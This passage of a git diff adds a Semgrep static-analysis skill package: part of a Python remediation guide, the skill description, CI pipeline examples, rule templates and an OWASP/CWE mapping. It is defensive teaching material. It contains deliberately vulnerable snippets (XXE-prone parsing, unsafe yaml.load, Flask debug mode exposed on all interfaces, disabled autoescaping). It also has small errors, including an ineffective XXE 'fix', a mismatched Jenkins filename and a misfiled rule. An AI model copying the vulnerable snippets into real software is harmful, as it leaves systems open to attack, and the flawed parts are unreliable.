URLSafeSerializer(SECRET_KEY) + +# Serialize (signed and safe) +token = serializer.dumps({'user_id': 123, 'role': 'admin'}) + +# Deserialize (verified) +data = serializer.loads(token) +``` + +**Best Practices:** +- Avoid pickle for untrusted data +- Use JSON, MessagePack, or Protocol Buffers +- If pickle is required, implement cryptographic signing +- Use `itsdangerous` library for secure token serialization +- Restrict pickle to internal, trusted data only + +--- + +## XML External Entity (XXE) + +### B313-B320, B405-B412: XML Parsing Vulnerabilities + +**Vulnerable Code:** +```python +import xml.etree.ElementTree as ET +from lxml import etree + +# Unsafe XML parsing (VULNERABLE to XXE) +tree = ET.parse(user_xml_file) +root = tree.getroot() + +# lxml unsafe parsing +parser = etree.XMLParser() +tree = etree.parse(user_xml_file, parser) +``` + +**Secure Solution:** +```python +import xml.etree.ElementTree as ET +from lxml import etree +import defusedxml.ElementTree as defusedET + +# Use defusedxml (RECOMMENDED) +tree = defusedET.parse(user_xml_file) +root = tree.getroot() + +# Disable external entities in ElementTree +ET.XMLParser.entity = {} # Disable entity expansion + +# Secure lxml configuration +parser = etree.XMLParser( + resolve_entities=False, # Disable entity resolution + no_network=True, # Disable network access + dtd_validation=False, # Disable DTD validation + load_dtd=False # Don't load DTD +) +tree = etree.parse(user_xml_file, parser) + +# Alternative: Use JSON instead of XML when possible +import json +data = json.loads(request.body) +``` + +**Best Practices:** +- Use `defusedxml` library for all XML parsing +- Disable DTD processing and external entity resolution +- Validate XML against strict schema (XSD) +- Consider using JSON instead of XML for APIs +- Never parse XML from untrusted sources without defusedxml + +--- + +## Security Misconfiguration + +### B201: Flask Debug Mode + +**Vulnerable Code:** +```python +from flask import Flask + +app = Flask(__name__) + +# Debug mode in production (VERY UNSAFE) +app.run(debug=True, host='0.0.0.0') +``` + +**Secure Solution:** +```python +from flask import Flask +import os + +app = Flask(__name__) + +# Use environment-based configuration +DEBUG = os.environ.get('FLASK_DEBUG', 'false').lower() == 'true' +ENV = os.environ.get('FLASK_ENV', 'production') + +if ENV == 'production' and DEBUG: + raise ValueError("Debug mode cannot be enabled in production") + +app.config['DEBUG'] = DEBUG +app.config['ENV'] = ENV +app.config['SECRET_KEY'] = os.environ['SECRET_KEY'] + +# Use production WSGI server +if ENV == 'production': + # Deploy with gunicorn or uwsgi, not app.run() + # gunicorn -w 4 -b 0.0.0.0:8000 app:app + pass +else: + app.run(debug=DEBUG, host='127.0.0.1', port=5000) +``` + +### B506: YAML Load + +**Vulnerable Code:** +```python +import yaml + +# Arbitrary code execution (VERY UNSAFE) +config = yaml.load(user_input, Loader=yaml.Loader) +``` + +**Secure Solution:** +```python +import yaml + +# Safe YAML loading (SAFE) +config = yaml.safe_load(user_input) + +# For complex objects, use schema validation +from schema import Schema, And, Use, Optional + +config_schema = Schema({ + 'database': { + 'host': And(str, len), + 'port': And(Use(int), lambda n: 1024 <= n <= 65535), + }, + Optional('debug'): bool, +}) + +config = yaml.safe_load(user_input) +validated_config = config_schema.validate(config) +``` + +### B701, B702, B703: Template Autoescape + +**Vulnerable Code:** +```python +from jinja2 import Environment + +# Autoescape disabled (XSS VULNERABLE) +env = Environment(autoescape=False) +template = env.from_string(user_template) +output = template.render(name=user_input) +``` + +**Secure Solution:** +```python +from jinja2 import Environment, select_autoescape +from markupsafe import Markup, escape + +# Enable autoescape (SAFE) +env = Environment( + autoescape=select_autoescape(['html', 'xml']) +) + +# Or for all templates +env = Environment(autoescape=True) + +# Explicitly mark safe content +def render_html(content): + # Sanitize first + clean_content = escape(content) + return Markup(clean_content) + +# Django: Ensure autoescape is enabled (default) +# In Django templates: +# {{ user_input }} +# {{ user_input|safe }} +``` + +**Best Practices:** +- Always enable autoescape in template engines +- Never mark user input as safe without sanitization +- Use Content Security Policy (CSP) headers +- Validate and sanitize all user inputs +- Use templating libraries with secure defaults + +--- + +## General Security Principles + +1. **Defense in Depth**: Implement multiple layers of security controls +2. **Least Privilege**: Grant minimum necessary permissions +3. **Fail Securely**: Errors should not expose sensitive information +4. **Input Validation**: Validate all inputs at trust boundaries +5. **Output Encoding**: Encode data based on output context +6. **Secure Defaults**: Use secure configurations by default +7. **Keep Dependencies Updated**: Regularly update security libraries +8. **Security Testing**: Include security tests in CI/CD pipelines + +## Additional Resources + +- [OWASP Cheat Sheet Series](https://cheatsheetseries.owasp.org/) +- [Python Security Best Practices](https://python.readthedocs.io/en/stable/library/security_warnings.html) +- [CWE Top 25](https://cwe.mitre.org/top25/) diff --git a/skills/appsec/sast-semgrep/SKILL.md b/skills/appsec/sast-semgrep/SKILL.md new file mode 100644 index 0000000..31857dd --- /dev/null +++ b/skills/appsec/sast-semgrep/SKILL.md @@ -0,0 +1,284 @@ +--- +name: sast-semgrep +description: > + Static application security testing (SAST) using Semgrep for vulnerability detection, + security code review, and secure coding guidance with OWASP and CWE framework mapping. + Use when: (1) Scanning code for security vulnerabilities across multiple languages, + (2) Performing security code reviews with pattern-based detection, (3) Integrating + SAST checks into CI/CD pipelines, (4) Providing remediation guidance with OWASP Top 10 + and CWE mappings, (5) Creating custom security rules for organization-specific patterns, + (6) Analyzing dependencies for known vulnerabilities. +version: 0.1.0 +maintainer: SirAppSec +category: appsec +tags: [sast, semgrep, vulnerability-scanning, code-security, owasp, cwe, security-review] +frameworks: [OWASP, CWE, SANS-25] +dependencies: + python: ">=3.8" + packages: [semgrep] + tools: [git] +references: + - https://semgrep.dev/docs/ + - https://owasp.org/Top10/ + - https://cwe.mitre.org/ +--- + +# SAST with Semgrep + +## Overview + +Perform comprehensive static application security testing using Semgrep, a fast, open-source +static analysis tool. This skill provides automated vulnerability detection, security code +review workflows, and remediation guidance mapped to OWASP Top 10 and CWE standards. + +## Quick Start + +Scan a codebase for security vulnerabilities: + +```bash +semgrep --config=auto --severity=ERROR --severity=WARNING /path/to/code +``` + +Run with OWASP Top 10 ruleset: + +```bash +semgrep --config="p/owasp-top-ten" /path/to/code +``` + +## Core Workflows + +### Workflow 1: Initial Security Scan + +1. Identify the primary languages in the codebase +2. Run `scripts/semgrep_scan.py` with appropriate rulesets +3. Parse findings and categorize by severity (CRITICAL, HIGH, MEDIUM, LOW) +4. Map findings to OWASP Top 10 and CWE categories +5. Generate prioritized remediation report + +### Workflow 2: Security Code Review + +1. For pull requests or commits, run targeted scans on changed files +2. Use `semgrep --diff` to scan only modified code +3. Flag high-severity findings as blocking issues +4. Provide inline remediation guidance from `references/remediation_guide.md` +5. Link findings to secure coding patterns + +### Workflow 3: Custom Rule Development + +1. Identify organization-specific security patterns to detect +2. Create custom Semgrep rules in YAML format using `assets/rule_template.yaml` +3. Test rules against known vulnerable code samples +4. Integrate custom rules into CI/CD pipeline +5. Document rules in `references/custom_rules.md` + +### Workflow 4: CI/CD Integration + +1. Add Semgrep to CI/CD pipeline using `assets/ci_config_examples/` +2. Configure baseline scanning for pull requests +3. Set severity thresholds (fail on CRITICAL/HIGH) +4. Generate SARIF output for security dashboards +5. Track metrics: vulnerabilities found, fix rate, false positives + +## Security Considerations + +- **Sensitive Data Handling**: Semgrep scans code locally; ensure scan results don't leak + secrets or proprietary code patterns. Use `--max-lines-per-finding` to limit output. + +- **Access Control**: Semgrep scans require read access to source code. Restrict scan + result access to authorized security and development teams. + +- **Audit Logging**: Log all scan executions with timestamps, user, commit hash, and + findings count for compliance auditing. + +- **Compliance**: SAST scanning supports SOC2, PCI-DSS, and GDPR compliance requirements. + Maintain scan history and remediation tracking. + +- **Safe Defaults**: Use `--config=auto` for balanced detection. For security-critical + applications, use `--config="p/security-audit"` for comprehensive coverage. + +## Language Support + +Semgrep supports 30+ languages including: +- **Web**: JavaScript, TypeScript, Python, Ruby, PHP, Java, C#, Go +- **Mobile**: Swift, Kotlin, Java (Android) +- **Infrastructure**: Terraform, Dockerfile, YAML, JSON +- **Other**: C, C++, Rust, Scala, Solidity + +## Bundled Resources + +### Scripts + +- `scripts/semgrep_scan.py` - Full-featured scanning with OWASP/CWE mapping and reporting +- `scripts/baseline_scan.sh` - Quick baseline scan for CI/CD +- `scripts/diff_scan.sh` - Scan only changed files (for PRs) + +### References + +- `references/owasp_cwe_mapping.md` - OWASP Top 10 to CWE mapping with Semgrep rules +- `references/remediation_guide.md` - Vulnerability remediation patterns by category +- `references/rule_library.md` - Curated list of useful Semgrep rulesets + +### Assets + +- `assets/rule_template.yaml` - Template for creating custom Semgrep rules +- `assets/ci_config_examples/` - CI/CD integration examples (GitHub Actions, GitLab CI) +- `assets/semgrep_config.yaml` - Recommended Semgrep configuration + +## Common Patterns + +### Pattern 1: Daily Security Baseline Scan + +```bash +# Run comprehensive scan and generate report +scripts/semgrep_scan.py --config security-audit \ + --output results.json \ + --format json \ + --severity HIGH CRITICAL +``` + +### Pattern 2: Pull Request Security Gate + +```bash +# Scan only changed files, fail on HIGH/CRITICAL +scripts/diff_scan.sh --fail-on high \ + --base-branch main \ + --output sarif +``` + +### Pattern 3: Vulnerability Research + +```bash +# Search for specific vulnerability patterns +semgrep --config "r/javascript.lang.security.audit.xss" \ + --json /path/to/code | jq '.results' +``` + +### Pattern 4: Custom Rule Validation + +```bash +# Test custom rule against vulnerable samples +semgrep --config assets/custom_rules.yaml \ + --test tests/vulnerable_samples/ +``` + +## Integration Points + +### CI/CD Integration + +- **GitHub Actions**: Use `semgrep/semgrep-action@v1` with SARIF upload +- **GitLab CI**: Run as security scanning job with artifact reports +- **Jenkins**: Execute as build step with quality gate integration +- **pre-commit hooks**: Run lightweight scans on staged files + +See `assets/ci_config_examples/` for ready-to-use configurations. + +### Security Tool Integration + +- **SIEM/SOAR**: Export findings in JSON/SARIF for ingestion +- **Vulnerability Management**: Integrate with Jira, DefectDojo, or ThreadFix +- **IDE Integration**: Use Semgrep IDE plugins for real-time detection +- **Secret Scanning**: Combine with tools like trufflehog, gitleaks + +### SDLC Integration + +- **Requirements Phase**: Define security requirements and custom rules +- **Development**: IDE plugins provide real-time feedback +- **Code Review**: Automated security review in PR workflow +- **Testing**: Integrate with security testing framework +- **Deployment**: Final security gate before production + +## Severity Classification + +Semgrep findings are classified by severity: + +- **CRITICAL**: Exploitable vulnerabilities (SQLi, RCE, Auth bypass) +- **HIGH**: Significant security risks (XSS, CSRF, sensitive data exposure) +- **MEDIUM**: Security weaknesses (weak crypto, missing validation) +- **LOW**: Code quality issues with security implications +- **INFO**: Security best practice recommendations + +## Performance Optimization + +For large codebases: + +```bash +# Use --jobs for parallel scanning +semgrep --config auto --jobs 4 + +# Exclude vendor/test code +semgrep --config auto --exclude "vendor/" --exclude "test/" + +# Use lightweight rulesets for faster feedback +semgrep --config "p/owasp-top-ten" --exclude-rule "generic.*" +``` + +## Troubleshooting + +### Issue: Too Many False Positives + +**Solution**: +- Use `--exclude-rule` to disable noisy rules +- Create `.semgrepignore` file to exclude false positive patterns +- Tune rules using `--severity` filtering +- Add `# nosemgrep` comments for confirmed false positives (with justification) + +### Issue: Scan Taking Too Long + +**Solution**: +- Use `--exclude` for vendor/generated code +- Increase `--jobs` for parallel processing +- Use targeted rulesets instead of `--config=auto` +- Run incremental scans with `--diff` + +### Issue: Missing Vulnerabilities + +**Solution**: +- Use comprehensive rulesets: `p/security-audit` or `p/owasp-top-ten` +- Consult `references/rule_library.md` for specialized rules +- Create custom rules for organization-specific patterns +- Combine with dynamic analysis (DAST) and dependency scanning + +## Advanced Usage + +### Creating Custom Rules + +See `references/rule_library.md` for guidance on writing effective Semgrep rules. +Use `assets/rule_template.yaml` as a starting point. + +Example rule structure: +```yaml +rules: + - id: custom-sql-injection + patterns: + - pattern: execute($QUERY) + - pattern-inside: | + $QUERY = $USER_INPUT + ... + message: Potential SQL injection from user input concatenation + severity: ERROR + languages: [python] + metadata: + cwe: "CWE-89" + owasp: "A03:2021-Injection" +``` + +### OWASP Top 10 Coverage + +This skill provides detection for all OWASP Top 10 2021 categories. +See `references/owasp_cwe_mapping.md` for complete coverage matrix. + +## Best Practices + +1. **Baseline First**: Establish security baseline before enforcing gates +2. **Progressive Rollout**: Start with HIGH/CRITICAL, expand to MEDIUM over time +3. **Developer Training**: Educate team on common vulnerabilities and fixes +4. **Rule Maintenance**: Regularly update rulesets and tune for your stack +5. **Metrics Tracking**: Monitor vulnerability trends, MTTR, and false positive rate +6. **Defense in Depth**: Combine with DAST, SCA, and manual code review + +## References + +- [Semgrep Documentation](https://semgrep.dev/docs/) +- [Semgrep Rule Registry](https://semgrep.dev/explore) +- [OWASP Top 10 2021](https://owasp.org/Top10/) +- [CWE Top 25](https://cwe.mitre.org/top25/) +- [SANS Top 25](https://www.sans.org/top25-software-errors/) diff --git a/skills/appsec/sast-semgrep/assets/ci_config_examples/github-actions.yml b/skills/appsec/sast-semgrep/assets/ci_config_examples/github-actions.yml new file mode 100644 index 0000000..b9dd409 --- /dev/null +++ b/skills/appsec/sast-semgrep/assets/ci_config_examples/github-actions.yml @@ -0,0 +1,141 @@ +# GitHub Actions - Semgrep Security Scanning +# Save as .github/workflows/semgrep.yml + +name: Semgrep Security Scan + +on: + # Scan on push to main/master + push: + branches: + - main + - master + # Scan pull requests + pull_request: + branches: + - main + - master + # Manual trigger + workflow_dispatch: + # Schedule daily scans + schedule: + - cron: '0 0 * * *' # Run at midnight UTC + +jobs: + semgrep: + name: SAST Security Scan + runs-on: ubuntu-latest + + # Required for uploading results to GitHub Security + permissions: + security-events: write + actions: read + contents: read + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Run Semgrep + uses: semgrep/semgrep-action@v1 + with: + # Ruleset to use + config: >- + p/security-audit + p/owasp-top-ten + p/cwe-top-25 + + # Generate SARIF for GitHub Security + publishToken: ${{ secrets.SEMGREP_APP_TOKEN }} + publishDeployment: ${{ secrets.SEMGREP_DEPLOYMENT_ID }} + + # Fail on HIGH/ERROR severity + # auditOn: push + + - name: Upload SARIF to GitHub Security + if: always() + uses: github/codeql-action/upload-sarif@v3 + with: + sarif_file: semgrep.sarif + + - name: Upload scan results as artifact + if: always() + uses: actions/upload-artifact@v4 + with: + name: semgrep-results + path: semgrep.sarif + +# Alternative: Simpler configuration without Semgrep Cloud +--- +name: Semgrep Security Scan (Simple) + +on: + pull_request: + branches: [main, master] + push: + branches: [main, master] + +jobs: + semgrep: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v5 + with: + python-version: '3.11' + + - name: Install Semgrep + run: pip install semgrep + + - name: Run Semgrep Scan + run: | + semgrep --config="p/security-audit" \ + --config="p/owasp-top-ten" \ + --sarif \ + --output=semgrep-results.sarif \ + --severity=ERROR \ + --severity=WARNING + + - name: Upload SARIF results + if: always() + uses: github/codeql-action/upload-sarif@v3 + with: + sarif_file: semgrep-results.sarif + +# PR-specific: Only scan changed files +--- +name: Semgrep PR Scan + +on: + pull_request: + +jobs: + semgrep-diff: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + with: + fetch-depth: 0 # Fetch full history for diff + + - name: Install Semgrep + run: pip install semgrep + + - name: Scan changed files only + run: | + semgrep --config="p/security-audit" \ + --baseline-commit="${{ github.event.pull_request.base.sha }}" \ + --json \ + --output=results.json + + - name: Check for findings + run: | + FINDINGS=$(jq '.results | length' results.json) + echo "Found $FINDINGS security issues" + if [ "$FINDINGS" -gt 0 ]; then + echo "❌ Security issues detected!" + jq '.results[] | "[\(.extra.severity)] \(.check_id) - \(.path):\(.start.line)"' results.json + exit 1 + else + echo "✅ No security issues found" + fi diff --git a/skills/appsec/sast-semgrep/assets/ci_config_examples/gitlab-ci.yml b/skills/appsec/sast-semgrep/assets/ci_config_examples/gitlab-ci.yml new file mode 100644 index 0000000..e5aeb72 --- /dev/null +++ b/skills/appsec/sast-semgrep/assets/ci_config_examples/gitlab-ci.yml @@ -0,0 +1,106 @@ +# GitLab CI - Semgrep Security Scanning +# Add to .gitlab-ci.yml + +stages: + - test + - security + +# Basic Semgrep scan +semgrep-scan: + stage: security + image: semgrep/semgrep:latest + script: + - semgrep --config="p/security-audit" + --config="p/owasp-top-ten" + --gitlab-sast + --output=gl-sast-report.json + artifacts: + reports: + sast: gl-sast-report.json + paths: + - gl-sast-report.json + expire_in: 1 week + rules: + - if: $CI_MERGE_REQUEST_ID # Run on MRs + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH # Run on default branch + +# Advanced: Fail on HIGH severity findings +semgrep-strict: + stage: security + image: python:3.11-slim + before_script: + - pip install semgrep + script: + - | + semgrep --config="p/security-audit" \ + --severity=ERROR \ + --json \ + --output=results.json + + CRITICAL=$(jq '[.results[] | select(.extra.severity == "ERROR")] | length' results.json) + echo "Found $CRITICAL critical findings" + + if [ "$CRITICAL" -gt 0 ]; then + echo "❌ Critical security issues detected!" + jq '.results[] | select(.extra.severity == "ERROR")' results.json + exit 1 + fi + artifacts: + paths: + - results.json + expire_in: 1 week + when: always + allow_failure: false + +# Differential scanning - only new findings in MR +semgrep-diff: + stage: security + image: semgrep/semgrep:latest + script: + - git fetch origin $CI_MERGE_REQUEST_TARGET_BRANCH_NAME + - | + semgrep --config="p/security-audit" \ + --baseline-commit="origin/$CI_MERGE_REQUEST_TARGET_BRANCH_NAME" \ + --gitlab-sast \ + --output=gl-sast-report.json + artifacts: + reports: + sast: gl-sast-report.json + rules: + - if: $CI_MERGE_REQUEST_ID + +# Scheduled full scan (daily) +semgrep-scheduled: + stage: security + image: semgrep/semgrep:latest + script: + - | + semgrep --config="p/security-audit" \ + --config="p/owasp-top-ten" \ + --config="p/cwe-top-25" \ + --json \ + --output=full-scan-results.json + artifacts: + paths: + - full-scan-results.json + expire_in: 30 days + rules: + - if: $CI_PIPELINE_SOURCE == "schedule" + +# Custom rules integration +semgrep-custom: + stage: security + image: semgrep/semgrep:latest + script: + - | + semgrep --config="p/owasp-top-ten" \ + --config="custom-rules/security.yaml" \ + --gitlab-sast \ + --output=gl-sast-report.json + artifacts: + reports: + sast: gl-sast-report.json + rules: + - if: $CI_MERGE_REQUEST_ID + exists: + - custom-rules/security.yaml diff --git a/skills/appsec/sast-semgrep/assets/ci_config_examples/jenkins.groovy b/skills/appsec/sast-semgrep/assets/ci_config_examples/jenkins.groovy new file mode 100644 index 0000000..cb5158b --- /dev/null +++ b/skills/appsec/sast-semgrep/assets/ci_config_examples/jenkins.groovy @@ -0,0 +1,190 @@ +// Jenkinsfile - Semgrep Security Scanning +// Basic pipeline with Semgrep security gate + +pipeline { + agent any + + environment { + SEMGREP_VERSION = '1.50.0' // Pin to specific version + } + + stages { + stage('Checkout') { + steps { + checkout scm + } + } + + stage('Security Scan') { + steps { + script { + // Install Semgrep + sh 'pip3 install semgrep==${SEMGREP_VERSION}' + + // Run Semgrep scan + sh ''' + semgrep --config="p/security-audit" \ + --config="p/owasp-top-ten" \ + --json \ + --output=semgrep-results.json \ + --severity=ERROR \ + --severity=WARNING + ''' + } + } + } + + stage('Process Results') { + steps { + script { + // Parse results + def results = readJSON file: 'semgrep-results.json' + def findings = results.results.size() + def critical = results.results.findAll { + it.extra.severity == 'ERROR' + }.size() + + echo "Total findings: ${findings}" + echo "Critical findings: ${critical}" + + // Fail build if critical findings + if (critical > 0) { + error("❌ Critical security vulnerabilities detected!") + } + } + } + } + } + + post { + always { + // Archive scan results + archiveArtifacts artifacts: 'semgrep-results.json', + fingerprint: true + + // Publish results (if using warnings-ng plugin) + // recordIssues( + // tools: [semgrep(pattern: 'semgrep-results.json')], + // qualityGates: [[threshold: 1, type: 'TOTAL', unstable: false]] + // ) + } + failure { + echo '❌ Security scan failed - review findings' + } + success { + echo '✅ No critical security issues detected' + } + } +} + +// Advanced: Differential scanning for PRs +pipeline { + agent any + + environment { + TARGET_BRANCH = env.CHANGE_TARGET ?: 'main' + } + + stages { + stage('Checkout') { + steps { + checkout scm + + script { + // Fetch target branch for comparison + sh """ + git fetch origin ${TARGET_BRANCH}:${TARGET_BRANCH} + """ + } + } + } + + stage('Differential Scan') { + when { + changeRequest() // Only for pull requests + } + steps { + sh """ + pip3 install semgrep + + semgrep --config="p/security-audit" \ + --baseline-commit="${TARGET_BRANCH}" \ + --json \ + --output=semgrep-diff.json + """ + + script { + def results = readJSON file: 'semgrep-diff.json' + def newFindings = results.results.size() + + if (newFindings > 0) { + echo "❌ ${newFindings} new security issues introduced" + error("Fix security issues before merging") + } else { + echo "✅ No new security issues" + } + } + } + } + + stage('Full Scan') { + when { + branch 'main' // Full scan on main branch + } + steps { + sh """ + semgrep --config="p/security-audit" \ + --config="p/owasp-top-ten" \ + --config="p/cwe-top-25" \ + --json \ + --output=semgrep-full.json + """ + } + } + } + + post { + always { + archiveArtifacts artifacts: 'semgrep-*.json', + allowEmptyArchive: true + } + } +} + +// With custom rules +pipeline { + agent any + + stages { + stage('Security Scan with Custom Rules') { + steps { + sh """ + pip3 install semgrep + + # Run with both official and custom rules + semgrep --config="p/owasp-top-ten" \ + --config="custom-rules/" \ + --json \ + --output=results.json + """ + + script { + // Generate HTML report (requires additional tooling) + sh """ + python3 -c " +import json +with open('semgrep-results.json') as f: + results = json.load(f) + findings = results['results'] + print(f'Security Scan Complete:') + print(f' Total Findings: {len(findings)}') + for severity in ['ERROR', 'WARNING', 'INFO']: + count = len([f for f in findings if f.get('extra', {}).get('severity') == severity]) + print(f' {severity}: {count}') +" + """ + } + } + } + } +} diff --git a/skills/appsec/sast-semgrep/assets/rule_template.yaml b/skills/appsec/sast-semgrep/assets/rule_template.yaml new file mode 100644 index 0000000..9cf6139 --- /dev/null +++ b/skills/appsec/sast-semgrep/assets/rule_template.yaml @@ -0,0 +1,120 @@ +rules: + - id: custom-rule-template + # Pattern matching - choose one or combine multiple + pattern: dangerous_function($ARG) + # OR use pattern combinations: + # patterns: + # - pattern: execute($QUERY) + # - pattern-inside: | + # $QUERY = $USER_INPUT + ... + # - pattern-not: execute("SAFE_QUERY") + + # Message shown when rule matches + message: | + Potential security vulnerability detected. + Explain the risk and provide remediation guidance. + + # Severity level + severity: ERROR # ERROR, WARNING, or INFO + + # Supported languages + languages: [python] # python, javascript, java, go, etc. + + # Metadata for categorization and tracking + metadata: + category: security + technology: [web-app] + cwe: + - "CWE-XXX: Vulnerability Name" + owasp: + - "AXX:2021-Category Name" + confidence: HIGH # HIGH, MEDIUM, LOW + likelihood: MEDIUM # How likely is exploitation + impact: HIGH # Potential security impact + references: + - https://owasp.org/... + - https://cwe.mitre.org/data/definitions/XXX.html + subcategory: + - vuln-type # e.g., sqli, xss, command-injection + + # Optional: Autofix suggestion + # fix: | + # safe_function($ARG) + + # Optional: Path filtering + # paths: + # include: + # - "src/" + # exclude: + # - "*/tests/*" + # - "*/test_*.py" + +# Example: SQL Injection Detection + - id: example-sql-injection + patterns: + - pattern-either: + - pattern: cursor.execute(f"... {$VAR} ...") + - pattern: cursor.execute("..." + $VAR + "...") + - pattern-not: cursor.execute("...", ...) + message: | + SQL injection vulnerability detected. User input is concatenated into SQL query. + + Remediation: + - Use parameterized queries: cursor.execute("SELECT * FROM users WHERE id = %s", (user_id,)) + - Use ORM methods that automatically parameterize queries + severity: ERROR + languages: [python] + metadata: + category: security + cwe: ["CWE-89: SQL Injection"] + owasp: ["A03:2021-Injection"] + confidence: HIGH + likelihood: HIGH + impact: HIGH + references: + - https://owasp.org/Top10/A03_2021-Injection/ + +# Example: Hard-coded Secret Detection + - id: example-hardcoded-secret + pattern-regex: | + (password|passwd|pwd|secret|token|api[_-]?key)\s*=\s*['"][^'"]{8,}['"] + message: | + Potential hard-coded secret detected. + + Remediation: + - Use environment variables: os.getenv('API_KEY') + - Use secrets management: AWS Secrets Manager, HashiCorp Vault + - Never commit secrets to version control + severity: WARNING + languages: [python, javascript, java, go] + metadata: + category: security + cwe: ["CWE-798: Use of Hard-coded Credentials"] + owasp: ["A07:2021-Identification-and-Authentication-Failures"] + confidence: MEDIUM + +# Example: Insecure Deserialization + - id: example-unsafe-deserialization + patterns: + - pattern-either: + - pattern: pickle.loads($DATA) + - pattern: pickle.load($FILE) + - pattern-not-inside: | + # Safe pickle usage + ... + message: | + Unsafe deserialization using pickle. Attackers can execute arbitrary code. + + Remediation: + - Use JSON for serialization: json.loads(data) + - If pickle is required, validate and sanitize data source + - Never deserialize data from untrusted sources + severity: ERROR + languages: [python] + metadata: + category: security + cwe: ["CWE-502: Deserialization of Untrusted Data"] + owasp: ["A08:2021-Software-and-Data-Integrity-Failures"] + confidence: HIGH + likelihood: HIGH + impact: CRITICAL diff --git a/skills/appsec/sast-semgrep/assets/semgrep_config.yaml b/skills/appsec/sast-semgrep/assets/semgrep_config.yaml new file mode 100644 index 0000000..effa1d4 --- /dev/null +++ b/skills/appsec/sast-semgrep/assets/semgrep_config.yaml @@ -0,0 +1,80 @@ +# Recommended Semgrep Configuration +# Save as .semgrepconfig or semgrep.yml in your project root + +# Rules to run +rules: p/security-audit + +# Alternative: Specify multiple rulesets +# rules: +# - p/owasp-top-ten +# - p/cwe-top-25 +# - path/to/custom-rules.yaml + +# Paths to exclude from scanning +exclude: + - "*/node_modules/*" + - "*/vendor/*" + - "*/.venv/*" + - "*/venv/*" + - "*/dist/*" + - "*/build/*" + - "*/.git/*" + - "*/tests/*" + - "*/test/*" + - "*_test.go" + - "test_*.py" + - "*.test.js" + - "*.spec.js" + - "*.min.js" + - "*.bundle.js" + +# Paths to include (optional - scans all by default) +# include: +# - "src/" +# - "app/" +# - "lib/" + +# Maximum file size to scan (in bytes) +max_target_bytes: 1000000 # 1MB + +# Timeout for each file (in seconds) +timeout: 30 + +# Number of jobs for parallel scanning +# jobs: 4 + +# Metrics and telemetry (disable for privacy) +metrics: off + +# Autofix mode (use with caution) +# autofix: false + +# Output format +# Can be: text, json, sarif, gitlab-sast, junit-xml, emacs, vim +# Set via CLI: semgrep --config= --json +# output_format: text + +# Severity thresholds +# Only report findings at or above this severity +# Can be: ERROR, WARNING, INFO +# min_severity: WARNING + +# Scan statistics +# Show timing and performance stats +# time: false +# Show stats after scanning +# verbose: false + +# CI/CD specific settings +# These are typically set via CLI or CI environment + +# Fail on findings +# Set exit code 1 if findings are detected +# error: true + +# Baseline commit for diff scanning +# baseline_commit: origin/main + +# SARIF output settings (for GitHub Security, etc.) +# sarif: +# output: semgrep-results.sarif diff --git a/skills/appsec/sast-semgrep/references/owasp_cwe_mapping.md b/skills/appsec/sast-semgrep/references/owasp_cwe_mapping.md new file mode 100644 index 0000000..c203122 --- /dev/null +++ b/skills/appsec/sast-semgrep/references/owasp_cwe_mapping.md @@ -0,0 +1,300 @@ +# OWASP Top 10 to CWE Mapping with Semgrep Rules + +## Table of Contents + +- [A01:2021 - Broken Access Control](#a012021---broken-access-control) +- [A02:2021 - Cryptographic Failures](#a022021---cryptographic-failures) +- [A03:2021 - Injection](#a032021---injection) +- [A04:2021 - Insecure Design](#a042021---insecure-design) +- [A05:2021 - Security Misconfiguration](#a052021---security-misconfiguration) +- [A06:2021 - Vulnerable and Outdated Components](#a062021---vulnerable-and-outdated-components) +- [A07:2021 - Identification and Authentication Failures](#a072021---identification-and-authentication-failures) +- [A08:2021 - Software and Data Integrity Failures](#a082021---software-and-data-integrity-failures) +- [A09:2021 - Security Logging and Monitoring Failures](#a092021---security-logging-and-monitoring-failures) +- [A10:2021 - Server-Side Request Forgery (SSRF)](#a102021---server-side-request-forgery-ssrf) + +## A01:2021 - Broken Access Control + +### CWE Mappings +- CWE-22: Path Traversal +- CWE-23: Relative Path Traversal +- CWE-35: Path Traversal +- CWE-352: Cross-Site Request Forgery (CSRF) +- CWE-434: Unrestricted Upload of Dangerous File Type +- CWE-639: Authorization Bypass Through User-Controlled Key +- CWE-918: Server-Side Request Forgery (SSRF) + +### Semgrep Rules +```bash +# Path traversal detection +semgrep --config "r/python.lang.security.audit.path-traversal" + +# Missing authorization checks +semgrep --config "r/generic.secrets.security.detected-generic-secret" + +# CSRF protection +semgrep --config "r/javascript.express.security.audit.express-check-csurf-middleware-usage" +``` + +### Detection Patterns +- Unrestricted file access using user input +- Missing or improper authorization checks +- Insecure direct object references (IDOR) +- Elevation of privilege vulnerabilities + +## A02:2021 - Cryptographic Failures + +### CWE Mappings +- CWE-259: Use of Hard-coded Password +- CWE-326: Inadequate Encryption Strength +- CWE-327: Use of Broken/Risky Crypto Algorithm +- CWE-328: Reversible One-Way Hash +- CWE-330: Use of Insufficiently Random Values +- CWE-780: Use of RSA Without OAEP + +### Semgrep Rules +```bash +# Weak crypto algorithms +semgrep --config "p/crypto" + +# Hard-coded secrets +semgrep --config "p/secrets" + +# Insecure random +semgrep --config "r/python.lang.security.audit.insecure-random" +``` + +### Detection Patterns +- Use of MD5, SHA1 for cryptographic purposes +- Hard-coded passwords, API keys, tokens +- Weak encryption algorithms (DES, RC4) +- Insecure random number generation + +## A03:2021 - Injection + +### CWE Mappings +- CWE-79: Cross-site Scripting (XSS) +- CWE-89: SQL Injection +- CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code (eval injection) +- CWE-917: Expression Language Injection +- CWE-943: Improper Neutralization of Special Elements in Data Query Logic + +### Semgrep Rules +```bash +# SQL Injection +semgrep --config "r/python.django.security.injection.sql" +semgrep --config "r/javascript.sequelize.security.audit.sequelize-injection" + +# XSS +semgrep --config "r/javascript.express.security.audit.xss" +semgrep --config "r/python.flask.security.audit.template-xss" + +# Command Injection +semgrep --config "r/python.lang.security.audit.dangerous-subprocess-use" + +# Code Injection +semgrep --config "r/python.lang.security.audit.exec-used" +semgrep --config "r/javascript.lang.security.audit.eval-detected" +``` + +### Detection Patterns +- Unsafe SQL query construction +- Unescaped user input in HTML context +- OS command execution with user input +- Use of eval() or similar dynamic code execution + +## A04:2021 - Insecure Design + +### CWE Mappings +- CWE-209: Generation of Error Message with Sensitive Information +- CWE-256: Unprotected Storage of Credentials +- CWE-501: Trust Boundary Violation 